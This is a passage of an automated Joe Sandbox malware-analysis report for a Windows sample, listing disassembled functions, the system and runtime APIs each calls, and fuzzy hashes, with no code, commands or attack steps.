_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154835

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: b16bfbd4cb9e42528879efefa9ddfe8d739b362cd85edbc345a9061b4eda942e
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 1521AA21A1C68281FA519F59D40127E5264BF4DB8CF144031EF4DEBBAADF7CD9418744

Function 00007FF6BB15E258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15E28C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction ID: 5fb688c30207f2f00f8ca2c2f9dae05a31e85e45156988e01af4a3a6c17c3380
Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction Fuzzy Hash: C6113A32D5C68686E620DB59A44167D62A5FB4C388F540535EB9DC67A9DF3CE8018708

Function 00007FF6BB1A5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction ID: 45b989e115b76776cccd4718b50078e095a40c680a784ee33fa587fce11ad904
Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction Fuzzy Hash: C7112B66619A4581EB549F19E0803797361FB88FA9F545132DF2E473B5CF3CE494CB00

Function 00007FF6BB160414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: 4055352e47544ef5da70f2091fed73d8109735aef24e7735835e9e3a3fe6970b
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 6911C27291C6868AEA159F58E4843BD7761FF88369F904132E74E4A6F6CFBCE005CB00

Function 00007FF6BB1548EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154909

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: b823e1b6c7b3e2db49e1cf3fc667c5d7d7fc32e05900ff5ebf73c43b840577b1
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 60014422E0860745FD24AA6D949337D11907F9D76CF241630EB2EDB2FACE7CE4418749

Function 00007FF6BB154970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154999

Part of subcall function 00007FF6BB1548EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154909

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: d6d629d5c5f03233e51658f650cfbd64408d9f3d90e5707b01c81cf2e965fa11
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: B3F09021A0C20386FD246BADA48327E2290BF4D75CF245130EB5EC66EECE3CE4428609

Function 00007FF6BB12652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB154970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154999

FreeLibrary.KERNEL32(?,?,?,00007FF6BB16C8FE), ref: 00007FF6BB12656F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: 1bc52cf0aeba3ec4b9137f3d45f0861ec1ac1b5c822c00cdfea6509fea100731
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: AEF0F852A09A0586FF19DF79E0A633823A0FB5EF8CF140535DB1E8A2A9CF6CD854C341

Function 00007FF6BB144C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6BB144C5C

Part of subcall function 00007FF6BB145600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BB145609
Part of subcall function 00007FF6BB145600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6BB14561A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction ID: b610e853a2b7081f272c22aab04a600dd57931029482396edaccfd970818a64e
Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction Fuzzy Hash: 63E0ECA0E1D10745FE68B66E556607A01402F5C7BCE5C1B30EB3EE52F3BD1CB4514D14

Function 00007FF6BB19B334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF6BB19B365

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction ID: 11dc50d7cd2009a69fee8e856513def2ce75fb45d6f0bc1470fbbfd0608deb4a
Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction Fuzzy Hash: CFE03922608A9183D720CB06F44031EE370FB89BC8F544525EF8C47B2ACF7DC5528B80

Function 00007FF6BB123EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF6BB123ED8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: 89a43286041ac56df39e3b97da5a6f8d8b2a4fbb55088ad9b2149385e17b5cbe
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 54E04822B0874685DB61976DF5453996365FB8C7C8F544032EF8C8376ADD6CC5958B00

Function 00007FF6BB125D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF6BB125DDE

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: ebc3113fdd416821a2d0c74d906a1cbc852dbe2fa72b9d71034760665acc2be3
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: 6EF08C21A19B868BE7759B58E44537A76A4F78C30CF880039D68D863AACE3DD305CF00

Function 00007FF6BB121080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB127920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF6BB12109E), ref: 00007FF6BB127A75

_onexit.LIBCMT ref: 00007FF6BB144F10

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: 694b6bfb5fd2413bc97f268c16ee24e015b0e68db97477865af2be5391925a51
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: 39E0C260F2A54F80EE08BB6DD9860750390BF5D30DF805536C20CC2371EE3CD2918B10

Function 00007FF6BB121064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF6BB144F10

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: 7d2597baad990d1e85b7d6ef8e4274556eb1d7cd3394a96f13bdb31b3bd3bdf9
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: D9C01211E6A04B81E50877BE4C9607801902FED30CF900135C20DD12B2DD1C52E64F21

Function 00007FF6BB121048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF6BB144F10

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: a4d47d55f18a46fa708c8784afa62596fb87b6a027c9abd87b33ea9192a481f5
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: 44C01210E5A04B81E90877BE489707401902FAD30CF900575C20DD02A2DD0C52E60F51

Function 00007FF6BB1210E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB141D80: GetVersionExW.KERNEL32 ref: 00007FF6BB141DC8
Part of subcall function 00007FF6BB141D80: GetCurrentProcess.KERNEL32 ref: 00007FF6BB141F42
Part of subcall function 00007FF6BB141D80: IsWow64Process.KERNEL32 ref: 00007FF6BB141F52

_onexit.LIBCMT ref: 00007FF6BB144F10

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: 9aa3d0d4637d5bcc66f1608989480c868e70902b52d2f3c941f68efec912d05d
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: F1C00251E6A48B81E61877BE48970B411946FAD34CF900536D71DD12A2DD1C52E64E21

Function 00007FF6BB1A7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6BB1A7FBE

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: e5acb69707dc582a49b6867ff9037b7b751d07d439139e28c608b8377ee6a61c
Instruction ID: 067bc29ece086fb7d716c1bc3be654cea6d2b0a41e0d6714efd00fd6afa823a2
Opcode Fuzzy Hash: e5acb69707dc582a49b6867ff9037b7b751d07d439139e28c608b8377ee6a61c
Instruction Fuzzy Hash: 2B717622B04A4286EB14EF69D5903BD33A0FB89B88F404132DF1E977A6DF38E559C750

Function 00007FF6BB15DDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6BB15DDFD

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction ID: cff4e418a71d1c915fb385feb7f08c698be2e704ddb2010fe8b908c6e16e9548
Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction Fuzzy Hash: F4F09044B0A207C4FE54AB6E9851BB51290BF9CB88F8C4030CB0EC63F2EE2CE4818314

Function 00007FF6BB15C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6BB15C55A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: d2b6935b2ff4c71c85296e6bc1f7accca2d399d85716b6a409ab170948b90011
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: F1F08C40F2D24785FE249FB9684167851907F8EBE8F484230DF2ECA2E2DEACE4808714

Function 00007FF6BB128314 Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000001,00007FF6BB12836F,?,?,?,00007FF6BB12E7E7), ref: 00007FF6BB12833D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ee0b3854a55e6d386332b09172a2bebdb13c6c40f32be3cd2150d61c605b23c5
Instruction ID: ca85cdb5fc8e29f63a185b13eb5006234b8f490ef549d720ee3395e4a6f01352
Opcode Fuzzy Hash: ee0b3854a55e6d386332b09172a2bebdb13c6c40f32be3cd2150d61c605b23c5
Instruction Fuzzy Hash: 18E0B6A3E24A06C6EB144B25E44533822A0FB28B7EF650721D73C852D9DF7CDAA48680

Non-executed Functions

Function 00007FF6BB1B56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6BB1B570B
DeleteObject.GDI32 ref: 00007FF6BB1B5724
DestroyWindow.USER32 ref: 00007FF6BB1B5738
GetDesktopWindow.USER32 ref: 00007FF6BB1B5758
GetWindowRect.USER32 ref: 00007FF6BB1B5766
SetRect.USER32 ref: 00007FF6BB1B58A7
AdjustWindowRectEx.USER32 ref: 00007FF6BB1B58BA
CreateWindowExW.USER32 ref: 00007FF6BB1B5929
